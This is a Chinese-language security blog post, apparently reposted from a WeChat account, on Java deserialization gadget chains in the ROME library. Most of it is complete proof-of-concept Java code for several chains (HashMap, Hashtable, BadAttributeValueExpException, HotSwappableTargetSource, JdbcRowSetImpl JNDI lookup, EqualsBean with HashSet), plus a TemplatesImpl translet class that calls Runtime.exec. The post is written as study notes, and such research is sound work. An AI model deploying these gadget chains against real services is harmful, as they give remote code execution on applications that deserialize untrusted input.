前言
之前没学习过rome反序列化这里学习一下因为能和二次反序列化结合
介绍
ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。
Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作。
环境依赖
<dependencies> <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency> </dependencies>
调试流程
调用链
* TemplatesImpl.getOutputProperties() * ToStringBean.toString(String) * ToStringBean.toString() * ObjectBean.toString() * EqualsBean.beanHashCode() * ObjectBean.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream)
其实这里主要的漏洞点是在ToStringBean.toString()这里来看一下
这个方法可以调用任意类的getter方法,主要是在getPropertyDescriptors方法中看看
这个方法中存在一个getPDs方法跟进去
就是获得 class 的 getter 和 setter 方法。然后回到上面的 **getPropertyDescriptors**
方法,在获得 getter 和 setter 方法后调用了 **_introspected.put**
处理。**_introspected**
就是上面的 hashmap 对象。意思就是调用了 hashmap 的 put 方法把方法存进了 map 中,然后在 ToStringBean. toString 进行遍历 map 。
所以其实这里的利用就很显而易见了就可以直接结合templates链进行利用加载恶意的字节码了。这里看一下该类的构造方法
其中_beanClass
为JavaBean类型的class,_obj
为要调用的实例对象,这里要传入的当然就是要利用的TemplatesImpl
所以这里我们剋手动调用一下toString方法
package com.ocean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;publicclassRome_test{publicstaticvoidmain(String[] args)throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Rome_stu/src/main/java/Exp.class")); setValue(templatesimpl,"_name","aaa"); setValue(templatesimpl,"_bytecodes",newbyte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl); toStringBean.toString(); }publicstaticvoidsetValue(Object obj,String fieldName,Object value)throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); }}
是可以成功弹出计算器的。
现在就是要找前半部分的构造链了,现在就是要找到一个能够调用toString方法的类并且可控,在ROME中存在着EqualsBean类的beanHashCode方法存在着能够调用toString方法,并且obj可控
所以接下里要找谁调用了beanHashCode方法,可以找打在同类下存在一个hashcode方法调用了该方法
再去找hashcode的调用很容易可以想到hashmap可以调用到hashcode方法
hashmap的readObject方法中是能够调用到hash方法的然后在看看hash方法
这里key会调用hashcode方法。所以到此整个流程就比较明了了可以直接写POC了
hashmap+TemplatesImpl利用链
自己构造的恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;publicclassExpextendsAbstractTranslet{@Overridepublicvoidtransform(DOM document, SerializationHandler[] handlers)throws TransletException { }@Overridepublicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException { }publicExp()throws IOException {try { Runtime.getRuntime().exec("open -a Calculator"); }catch (Exception e){ e.printStackTrace(); } }}
这里还是要记得不要含有包名要不然编译的时候可能会报错
放到java目录下就可以了
package com.ocean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.io.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.lang.reflect.Field;publicclassRome_EqualsBean{publicstaticvoidmain(String[] args)throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Rome_stu/src/main/java/Exp.class")); setValue(templatesimpl,"_name","aaa"); setValue(templatesimpl,"_bytecodes",newbyte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(equalsBean, "123");//Serialize(hashMap); DeSerialize("ser.bin"); }publicstaticvoidSerialize(Object o)throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); }publicstatic Object DeSerialize(String s)throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));return ois.readObject(); }publicstaticvoidsetValue(Object obj,String fieldName,Object value)throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); }}
下面几种ROME利用链的后半段较为固定,都是使用TemplatesImpl.getOutputProperties()
进行任意类加载,所以这里的其他利用链都是针对前半段入口处进行替换的。
ObjectBean利用
可以看到ObjectBean也存在hashcode方法并且也调用了beanHashcode方法,并且也都可控所以只需要将
EqualsBean换成ObjectBean即可
package com.ocean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;publicclassRemote_ObjectBean{publicstaticvoidmain(String[] args)throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Rome_stu/src/main/java/Exp.class")); setValue(templatesimpl,"_name","aaa"); setValue(templatesimpl,"_bytecodes",newbyte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl); ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(objectBean, "123"); Serialize(hashMap); DeSerialize("ser.bin"); }publicstaticvoidsetValue(Object obj, String name, Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }publicstaticvoidSerialize(Object o)throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); }publicstatic Object DeSerialize(String s)throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));return ois.readObject(); }}
HashTable利用链
HashTable利用链只是更换了HashMap入口类而已其他的流程还是不变,看一下HashTable的入口点
可以看到会调用reconstitutionPut方法跟进去看看
可以看到会调用hashcode方法所以后面就很明了了,可以将HashTable替换为HashMap集合EualsBean和ObjectBean进行利用
HashTbale+ObjectBean
package com.ocean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Hashtable;publicclassRemo_HashTable_ObjectBean{publicstaticvoidmain(String[] args)throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Rome_stu/src/main/java/Exp.class")); setValue(templatesimpl,"_name","aaa"); setValue(templatesimpl,"_bytecodes",newbyte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl); ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean); Hashtable hashtable = new Hashtable(); hashtable.put(objectBean,"123"); Serialize(hashtable); DeSerialize("ser.bin"); }publicstaticvoidsetValue(Object obj, String name, Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }publicstaticvoidSerialize(Object o)throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); }publicstatic Object DeSerialize(String s)throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));return ois.readObject(); }}
HashTbale+EqualsBean
package com.ocean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Hashtable;publicclassRemo_HashTable_EqualsBean{publicstaticvoidmain(String[] args)throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Rome_stu/src/main/java/Exp.class")); setValue(templatesimpl,"_name","aaa"); setValue(templatesimpl,"_bytecodes",newbyte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); Hashtable hashtable = new Hashtable(); hashtable.put(equalsBean,"123"); Serialize(hashtable); DeSerialize("ser.bin"); }publicstaticvoidsetValue(Object obj, String name, Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }publicstaticvoidSerialize(Object o)throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); }publicstatic Object DeSerialize(String s)throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));return ois.readObject(); }}
BadAttributeValueExpException利用链
这里其实利用的是BadAttributeValueExpException可以调用任意类的toString方法,我们在cc5链、fastjson的时候都分析过
这里可以看到是可以调用toString方法的但由于在其构造函数中也调用了toString()
,为了避免提前触发漏洞,我们可以利用反射修改val
的值为需要调用toString()
方法的类。
package com.ocean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;publicclassRemo_BadAttributeValueExpException{publicstaticvoidmain(String[] args)throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Rome_stu/src/main/java/Exp.class")); setValue(templatesimpl,"_name","aaa"); setValue(templatesimpl,"_bytecodes",newbyte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(111); setValue(badAttributeValueExpException,"val",toStringBean); Serialize(badAttributeValueExpException); DeSerialize("ser.bin"); }publicstaticvoidsetValue(Object obj, String name, Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }publicstaticvoidSerialize(Object o)throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); }publicstatic Object DeSerialize(String s)throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));return ois.readObject(); }}
HotSwappableTargetSource利用链
这里其实在Fastjson中有提到过利用他的Xstring能够触发toString方法具体执行流程可以参考写的笔记
Fasjson 完整版这里有记录HotSwappableTargetSource执行流程。了解完执行流程就可以很快明白以下poc
环境依赖
<dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>5.3.24</version> </dependency>
package com.ocean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xpath.internal.objects.XString;import com.sun.syndication.feed.impl.ToStringBean;import org.springframework.aop.target.HotSwappableTargetSource;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;publicclassRemo_HotSwappableTargetSource{publicstaticvoidmain(String[] args)throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Rome_stu/src/main/java/Exp.class")); setValue(templatesimpl,"_name","aaa"); setValue(templatesimpl,"_bytecodes",newbyte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl); HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean); HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx")); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(h1, "123"); hashMap.put(h2,"123"); Serialize(hashMap); DeSerialize("ser.bin"); }publicstaticvoidsetValue(Object obj, String name, Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }publicstaticvoidSerialize(Object o)throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); }publicstatic Object DeSerialize(String s)throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));return ois.readObject(); }}
JdbcRowSetImpl利用链
这里这条链跟前面的有点不太一样,他是去替换templatesImpl的是替换的后半段,我们来看看为什么,前面说到过rmoe可以触发任意类的getter方法,所以这里肯定是去找JdbcRowSetImpl这条链的get方法
这里能够找到存在一个getDatabaseMetaData方法它里面调用了一个connect方法我们跟进去
可以看到这里很明显的jndi注入。
lookUp里的值是去调用他父类BaseRowSet的getDataSourceName方法获取的
所以可以构造POC
publicstaticvoidmain(String[] args)throws Exception{// ldap url String url = "ldap://127.0.0.1:1389/nils4f";// 创建JdbcRowSetImpl对象 JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); Field dataSource = BaseRowSet.class.getDeclaredField("dataSource"); dataSource.setAccessible(true); dataSource.set(jdbcRowSet, url);// 创建ToStringBean对象 ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);// 创建ObjectBean ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);// 创建HashMap HashMap hashMap = new HashMap(); hashMap.put(objectBean, "bbbb");// 序列化 ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("JdbcRowExp.bin")); objectOutputStream.writeObject(hashMap); objectOutputStream.close();// 反序列化 ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("JdbcRowExp.bin")); objectInputStream.readObject(); objectInputStream.close(); }
我在windows环境下复现成功了但是mac下没有不知道啥原因哈哈哈有懂得师傅教教
这里的入口点hashMap是可以更改的然后中间的ObejctBean还有EqualsBean都可以灵活搭配使用。
EqualsBean链
这条链的主要关键点在于EqualsBean类中存在一个方法是beanEquals方法来看一下这个方法
这里可以看到他和ToStringBean类的tostring方法很像也是可以任意调用getter方法的,所以其实这里关键点就是找到谁能够调用了这个beanEquals方法
可以看到在他同类下的equals方法调用了该方法,前面在分析触发toString方法时提到过使用equals方法进行触发
所以下面就是寻找调用equals方法的地方。
在HashMap的父类AbstractMap类中的equals方法中调用了equals方法
所以可以构造出来payload,师傅可以自己根据poc的调用栈去分析能更好懂一点
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)beanEquals:146, EqualsBean (com.sun.syndication.feed.impl)equals:103, EqualsBean (com.sun.syndication.feed.impl)equals:472, AbstractMap (java.util)putVal:634, HashMap (java.util)put:611, HashMap (java.util)readObject:334, HashSet (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)DeSerialize:54, Remo_EqualsBean (com.ocean)main:45, Remo_EqualsBean (com.ocean)
直接给出poc
package com.ocean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.HashSet;publicclassRemo_EqualsBean{publicstaticvoidmain(String[] args)throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Rome_stu/src/main/java/Exp.class")); setValue(templatesimpl,"_name","aaa"); setValue(templatesimpl,"_bytecodes",newbyte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); EqualsBean bean = new EqualsBean(String.class, "s"); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy", bean); map1.put("zZ", templatesimpl); map2.put("zZ", bean); map2.put("yy", templatesimpl); HashSet table = new HashSet(); table.add(map1); table.add(map2); setValue(bean, "_beanClass", Templates.class); setValue(bean, "_obj", templatesimpl); Serialize(table); DeSerialize("ser.bin"); }publicstaticvoidSerialize(Object o)throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); }publicstatic Object DeSerialize(String s)throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));return ois.readObject(); }publicstaticvoidsetValue(Object obj,String fieldName,Object value)throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); }}
其实这里具体为什么要put两次map呢我个人的看法,就是在putVal这个方法里为了满足这个判断条件就是要key的hash值相等。
注:这里的HashMap、HashSet、HashTable都可以相互替换参考:https://goodapple.top/archives/1145
https://boogipop.com/2024/02/12/%E6%98%93%E6%87%82%E7%9A%84Rome%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%88%E6%9B%B4%E6%96%B0%EF%BC%89/
Rome反序列化
原文始发于微信公众号(土拨鼠的安全屋):Java安全小记-Rome反序列化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论